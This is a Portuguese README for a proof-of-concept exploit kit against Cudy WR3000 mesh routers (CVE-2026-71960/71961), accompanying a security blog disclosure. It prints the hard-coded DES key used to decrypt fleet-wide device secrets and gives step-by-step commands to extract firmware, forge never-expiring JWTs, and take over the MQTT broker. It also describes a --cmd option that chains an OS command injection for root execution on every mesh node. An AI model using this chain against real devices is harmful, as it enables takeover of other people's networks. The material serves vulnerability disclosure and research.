
Kit de PoC que descompacta firmware de roteadores, descriptografa segredos de dispositivos, forja tokens JWT e explora CVE-2026-71960/71961 para assumir o controle de brokers MQTT mesh Cudy WR3000.
Ferramentas de prova de conceito para o artigo da Hunt-Benito "A mesma chave abre todas as portas: CVE-2026-71960 — segredo JWT codificado de forma fixa no broker MQTT do mesh WR3000 da Cudy" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Encadeia-se com CVE-2026-71961 (injeção de comandos do sistema operacional através da mesma interface de mesh MQTT) para alcançar execução de comandos como root em todos os nós de um mesh Cudy WR3000 2.0 executando firmware anterior a 2.5.24.
| Arquivo | Finalidade |
|---|---|
extract_firmware.py | Descompacta um .bin público de sysupgrade da Cudy (hboot1tag + UBI) em um filesystem OpenWrt completo. Verificado com 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Deriva a chave DES (DES_string_to_key("88T3j05dtFu8="), IV zero — recuperada de libbdinfo.so) e descriptografa um dump de MTD bdinfo do seu próprio dispositivo, revelando o deviceid e o secret comum a toda a frota. |
forge_jwt.py | Gera um token HS256 que satisfaz todas as verificações em mosquitto_auth_unpwd_check (piso de exp 1577826000, grant de nome de usuário contendo o deviceid). Autoverifica o ciclo completo. |
mqtt_takeover.py | Conecta-se ao broker na porta TCP 1883 com o JWT forjado, assina router/# e (opcionalmente, --cmd) explora o sumidouro command.lua → io.popen da CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. descompacte o firmware público (nenhum dispositivo necessário)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. confirme que o literal da chave DES acompanha a imagem
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. descriptografe um dump de bdinfo do SEU PRÓPRIO dispositivo (2.4.x expõe /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forje um token para o deviceid/secret recuperados
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passivo: autentique-se e escute no mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so chama bdinfo_get_value("deviceid") e
bdinfo_get_value("secret") na inicialização do broker; o valor de secret é a
chave de assinatura HS256 para todos os JWTs do mesh.exp do plugin é exp >= 1577826000 (2019-12-31T21:00:00Z); o
resultado da chamada time() nunca é comparado — os tokens na prática nunca expiram.alg: none é rejeitado (EINVAL quando uma chave é fornecida) — o segredo é
genuinamente necessário; não há atalho de confusão de algoritmo.mosquitto_auth_acl_check() retorna SUCCESS incondicionalmente — um CONNECT
aceito concede leitura/escrita em todos os tópicos.0.0.0.0:1883 (2.4.x) significa que nenhum certificado
de cliente TLS é necessário. O firmware corrigido 2.5.24 remove o listener 1883,
elimina o segredo de bdinfo por completo e passa a depender de TLS mútuo.Apenas para pesquisa de segurança autorizada e educação. Execute somente contra dispositivos que você possua ou para os quais tenha permissão explícita por escrito para testar. Os autores não assumem nenhuma responsabilidade por uso indevido.